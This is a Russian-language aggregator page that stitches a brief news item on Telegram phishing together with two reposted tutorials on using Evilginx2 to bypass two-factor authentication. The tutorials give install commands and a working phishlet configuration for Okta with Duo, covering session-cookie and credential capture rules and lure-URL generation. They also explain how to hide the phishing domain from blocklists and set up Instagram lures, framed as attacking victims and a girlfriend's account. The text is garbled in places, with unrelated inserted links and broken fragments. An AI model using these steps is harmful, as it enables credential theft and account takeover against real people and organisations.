Как обойти 2fa Телеграм

Злоумышленники начали использовать ботов Telegram , чтобы украсть одноразовые пароли пользователей.

Со слов экспертов из Роскачества , боты Telegram научились красть пароли с помощью инструментов для обеспечения безопасности. Речь идет о двухфакторной аутентификации 2FA. Важно напомнить, что настройки 2FA устанавливать обязательно, если планируется обеспечить себе безопасное времяпровождение в рамках мессенджера и социальных сетей. В предыдущем месяце зафиксировали атаку на пользователей с помощью фишинговых ссылок. Пользователи Telegram начали получать предложения о прохождении специальной верификации.

Нужно отметить, что синяя галочка, которая выдается каналам или людям показывает, что страница была проверена администраторами Telegram . Злоумышленники не могут получить такую привилегию. Более того, злоумышленники активно используют средства социальной инженерии, придумывая разные предлоги для общения. К сожалению, сейчас нет технических средств, чтобы обеспечить гарантированную защиту от них. Однако антивирусы, в большинстве своем, могут распознать порталы мошенников.

Как взламывают Двухфакторную Аутентификацию?

Источник: news.myseldon.com

Обход 2FA

cc vcc

Бывают случаи, когда тебе нужно кого-то зафишить. Бывает, когда у целевой организации настроен второй фактор для аутентификации — sms, Google authenticator, Duo. Что делать в таких случаях? Нанимать гопников? Подрезать телефоны у сотрудников?

Нет! Оказывается, хитрые хакеры написали софт, способный помочь в этой непростой ситуации.

Evilginx2 — фреймворк для фишинга, работающий как прокси между жертвой и сайтом, учетки от которого мы хотим получить. Раньше он использовал кастомный nginx, теперь же полностью переписан на Go, включает в себя мини HTTP и DNS серверы, что сильно облегчает установку и развертывание.

Как это работает? Автор софта подробно описал на своем сайте, детали по установке и настройке можно найти на github странице проекта. Почему же удается обойти второй фактор? Фишка в том, что мы не вмешиваемся в процесс ввода кода из смс / временного пароля / пуша от DUO. Мы тихо ждем, пока пользователь успешно пройдет все шаги аутентификации, ловим его куку, и уже её используем для входа.

Попутно на всякий случай собираем его логин и пароль.

Задача

Итак, нам нужно зафишить контору, которая активно использует Okta как Single Sign-on. В качестве второго фактора используется Duo — решение, фишка которого в мобильном клиенте, позволяющем подтверждать второй фактор через обычные пуш-нотификации вместо ввода 35-значных кодов (привет Google Authenticator). Приступим.

Шаг первый — регистрируем фишинговый домен

В панели нашего провайдера указываем адрес сервера, на котором будет расположен фишинг. Также регистрируем поддомен вида okta..com

Как взломать Телеграм, если даже установил 2FA / ТОП Советы

Шаг второй — настраиваем Evilginx

Запускаем Evilginx и через команду config

вводим необходимые настройки. Указываем основной домен (не поддомен) и его IP.

config domain .com config ip 10.0.0.1

В итоге конфиг выглядит так:

Интересен тут параметр redirect_url

— он указывает куда перенаправлять запрос, когда клиент пришел в корень нашего домена. Зачем это сделано? Если отдавать фишинговую страницу из корня, домен очень быстро вычислят и внесут в списки опасных сайтов, браузеры будут грозно ругаться, и пользователи никогда к нам не попадут. Поэтому мы ее будем отдавать по уникальной ссылке, а корень будет перенаправлять на песню Never Gonna Give You Up.

Еще по теме:  В Телеграмм что можно придумотьна имя пользователя

Шаг третий — настраиваем фишинговую страницу

Тут начинается самое интересное. Так как по-факту на нашем сервере мы вообще не хостим никакого контента, а только проксируем запросы, нам нужно «рассказать» Evilginx, какие именно данные мы хотим получить. Этот «рассказ» мы пишем в специальном формате. Документация по нему доступна на wiki странице проекта. Называются эти описания phishlets.

Для некоторых популярных сервисов — facebook, linkedin, amazon они уже написаны и включены в дистрибутив. Нам повезло меньше, из коробки Okta не поддерживается, но добрые люди написали phishlet для старой версии. Берем паяльник и начинаем паять.

Заполняем описание, указываем имя phishlet, авторов, и требуемую версию Evilginx.

Указываем, какой именно домен собираемся фишить. В нашем случае используется домен вида .okta.com

proxy_hosts: — ‘, domain: ‘okta.com’, session: true, is_landing: true>

указывает на то, что именно этот домен отдает нужные нам куки и туда передаются учетные данные, is_landing

значит что этот хост будет использоваться для генерации фишинговых URL.

Следующий важный этап — определить все запросы к целевому домену, для того чтобы прокси успешно их переписала на фишинговый домен. Если этого не сделать, пользователь будет отправлять данные не нам, а сразу на оригинальный домен, и никаких учеток мы не поймаем. Переписывать нужно только те запросы, которые непосредственно участвуют в процессе входа пользователя на сайт.

Чтобы четко понимать, что именно требуется для успешной аутентификации, нужно внимательно этот самый процесс изучить. Вооружившись Burp и тестовой учеткой начинаем искать как передается пароль и по каким кукам приложение определяет авторизованного пользователя. Также ищем ответы от сервера, в которых есть ссылки на оригинальный домен.

Находим запрос, в котором передается логин и пароль. Видим что он шлется на оригинальный домен, а нужно чтобы уходил нам.

Вот здесь видно, как оригинальный домен отдает ссылки внутри javascript, их нужно переписать.

Собрав это и еще пару запросов получаем следующие настройки:

sub_filters: — .okta.com’, orig_sub: », domain: ‘okta.com’, search: ‘https:///api’, replace: ‘https:///api’, mimes: [‘text/html’, ‘application/json’]> — — .okta.com’, orig_sub: », domain: ‘.okta.com’, search: ‘httpsx3Ax2Fx2F’, replace: ‘httpsx3Ax2Fx2F’, mimes: [‘text/html’, ‘application/json’, ‘application/x-javascript’, ‘text/javascript’]> — .okta.com’, orig_sub: », domain: ‘.okta.com’, search: ‘x2Fuserx2Fnotifications’, replace: ‘httpsx3Ax2Fx2F.okta.comx2Fuserx2Fnotifications’, mimes: [‘text/html’, ‘application/json’, ‘application/x-javascript’, ‘text/javascript’]>

как раз используется для замены оригинального домена на фишинговый. Подробнее о синтаксисе этой секции написано тут.

Помните, нам нужны куки, с которыми мы будем авторизоваться на сайте. Путем проб и ошибок выясняем имя куки — sid

, и дописываем его в настройки:

auth_tokens: — domain: ‘.okta.com’ keys: [‘sid’]

Также нам пригодится логин и пароль пользователя, мы уже нашли запрос, в котором они передаются. Как видно в запросе, нужные нам параметры username

передаются в json, дописываем:

credentials: username: key: ‘username’ search: ‘»username»:»([^»]*)’ type: ‘json’ password: key: ‘password’ search: ‘»password»:»([^»]*)’ type: ‘json’

Так Evilginx сможет вычленять их из запросов и корректно сохранять.

Осталось немного. Укажем URL страницы логина на целевом домене.

landing_path: — ‘/login/login.htm’

Еще по теме:  Ак разобраться в боте ирис в Телеграм

Укажем URL, по которому мы поймем, что пользователь успешно авторизован.

auth_urls: — ‘app/UserHome’

Вот и все! Конфиг целиком:

Сохраняем его как okta.yaml

Шаг четвертый — включаем наш новый фишинг

Запускаем evilginx и пишем команду

phishlets hostname okta okta..com
phishlets enable okta

Под него автоматически создается сертификат от LetsEncrypt.

Указываем, куда будем редиректить пользователя после успешной авторизации

phishlets get-url okta https://.okta.com/

Приложение выдаст ссылку, которую нужно рассылать пользователям, вида https://.com/login/login.htm?rb=9ffehttps://telegra.ph/Obhod-2FA-10-20″ target=»_blank»]telegra.ph[/mask_link]

Создаем идеальный фишинг с обходом 2FA

Друзья, рады приветствовать вас на нашем телеграмм-канале.
В наше время очень часто приходится сталкиваться с фишингом. Разумеется, более или менее подкованным людям, его легко распознать. Но ведь только спрос определяет предложение, и раз этим пользуются — значит это работает.

Но ведь разработчики систем защиты тоже не дремлют, скажите вы, и будете абсолютно правы. Украсть логин и пароль, это одно дело, но каким образом обойти двухфакторную аутентификацию? В этом нелегком деле, нам с вами поможет Evilginx2. Он умеет хватать хватать сессии с полной подменой шифрованного трафика и со всеми вытекающими логинами и паролями.(Именно то, что нам нужно)

Небольшой ЛИКБЕЗ

Двухфакторная аутентификация, или 2FA — это дополнительная мера защиты, в нашем случае аккаунта. Эта мера предназначена для дополнительного доказательства того, что пользователь, вводивший логин/пароль, действительно является их владельцем и они не были скомпрометированы.

В большинстве случаев это организованно отправкой смс, на привязанный к аккаунту номер телефона, обычно это числовой код. Угадать его практически невозможно, так как он генерируется по специальному алгоритму OTP.
Проще говоря, логина и пароля будет недостаточно, что бы угнать аккаунт твоей подружки)

Так же, необходимо знать, что такое SSL-протокол. Это протокол, который шифрует весь проходящий трафик по сети. Само шифрование происходит на основании определенного ключа, который знают только сервер и клиент(только эти две стороны могут расшифровать трафик). Сертификат же существует для клиента. Это основание доверять серверу. Вот более упрощенная иерархия:

Существует УЦ(Удостоверяющий цент), который раздает сертификаты с ключами. Их получает владелец доменного имени и имплантирует себе на сервер, после чего думает, что у него все по стандарту)

В свою очередь, когда клиент обращается к серверу, браузер клиента получает сертификат от сервера. Браузер смотрит — а кем подписан сертификат(в каждом браузере есть все корневые УЦ). Если подписи сходятся, то серверу можно доверять(как наивно).

Для чего это мы все это говорим?) Сертификат можно выпустить самому, только доверять ему будет тот браузер в который он был импортирован. Такие сертификаты называются самоподписанными. Нам необходимо не просто перехватить учетные данные и сессию, а сделать так, что бы все выглядело реально — иметь сертификат, надежное и защищенное соединение. Сертификат конечно можно купить, но мы с вами поступим иначе). С сертификатом нам поможет проект Let’s Encrypt.(сертификат на 3 месяца, без регистраций и смс)

Как работает Evilginx2?

Наша задача, подкинуть жертве ссылку по которой она должна перейти на сайт — оригинал. Посередине будем сидеть мы и смотреть весь трафик. Классика MITM. Никакого фишингового сайта не будет. Программа поднимает обратный прокси-сервер, и просто редеректит все запросы и ответы со своего домена на оригинальный.
Когда жертва переходит по нашей ссылке, она получает наш сертификат(выданный Let’s Encrypt), на наш домен. Начинает ему доверять, обмениваться ключами шифрования, и происходит соединение. Вот собственно откуда мы и получаем логины и пароли в открытом виде.
В свою очередь, наш MITM-прокси-сервер выступает с оригинальным сервером в роли клиента, и происходит все тоже самое. Трафик от жертвы расшифровывается известным нам ключом, шифруется новым ключом, и отправляется дальше. Надеюсь всем понятно, приступим к практике.

Еще по теме:  Как сделать бота в Телеграмме для заработка денег без вложений

Что нам понадобится?

Домен вам необходимо будет связать записью А с сервером. Далее нам нужно будет настроить серверы имен(ns1 и ns2) в панели администратора провайдера вашего домена, что бы они указывали на IP адрес вашего сервера(VDS).

ns1.yourdomain.com = 10.0.0.1 ns2.yourdomain.com = 10.0.0.1

Поднимаем боевой стенд Evilginx2

Так как, evilginx2 написан на языке GO, для работы с инструментом нам необходимо установить среду GO:

sudo add-apt-repository ppa:longsleep/golang-backports sudo apt-get update sudo apt-get install golang-go

Указываем нужные пути интерпретатору:

export GOPATH=$HOME/work export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

Устанавливаем Evilginx2:

sudo apt-get install git make go get -u github.com/kgretzky/evilginx2 cd $GOPATH/src/github.com/kgretzky/evilginx2 make make install

Перед запуском, необходимо проверить не заняты ли порты 443 и 80. Программа будет это проверять. Эти порты необходимы для проксирования и генерирования сертификата.

netstat -antp

После чего, запускаем сам evilginx, очень сложной командой:

evilginx

Интерфейс evilginx2:

После установки, нам необходимо задать основные настройки инструмента все это делается командой:

confim

Дефолтные конфигурации выглядят так:

  • В данном конфиге нам необходимо знать, что поле domain соответствует нашему фишенговому домену, ip программному адресу. Redirect_url — куда будет переброшена жертва, после перехода по нашему чистому домену.

config domain ваш домен config IP ваш IP сервера

Далее программа работает, основываясь на двух сущностях: lures и phishlets.

Phishlets — это некие конфигурационные файлы, на основе которых осуществляется сама работа программы. В них указывается по каким параметрам определять авторизацию, как выглядят cookie и все остальные необходимые параметры для удачного фишинга.

Lures или ловушки — это некие сущности, которые генерируют фишинговое направление трафика в некие разделы домена. Lures и Phishlets пересекаются с собой в работе. Дальше в практике все встанет на свои места. Перед тем, как перейти к работе, стоит уточнить еще несколько моментов. В домашнем каталоге должна появиться скрытая директория с названием инструмента.

В ней находится основной конфиг (Параметры которые мы указывали), база данных(пойманные сессии) и сертификат с ключом.

Переходим к основной работе:

Для начала, необходимо настроить phishlets. Я буду использовать instagram. Для того, что бы увидеть все конфиги, вводим команду:

phishlets

Как видим вышел, пока они пусты. Добавляем наш домен к instagram.

phishlets hostname instagram ваш домен

Теперь создаем lures:

lures create instagram
phishlets enable instagram

Как мы видим на скрине, генерируется сертификат и начинается прослушивание трафика. Что бы получить ссылку, достаточно ввести команду:

lures get-url 0

И у нас все готово) Друзья, для удобства прочтения статьи, мы разделим ее на 2 части. У нас уже имеется готовый к работе инструмент. Во 2 части мы разберемся что делать с полученными сессиями, и выстроим идеальную фишинг атаку.

Источник: telegra.ph

Рейтинг
( Пока оценок нет )
Загрузка ...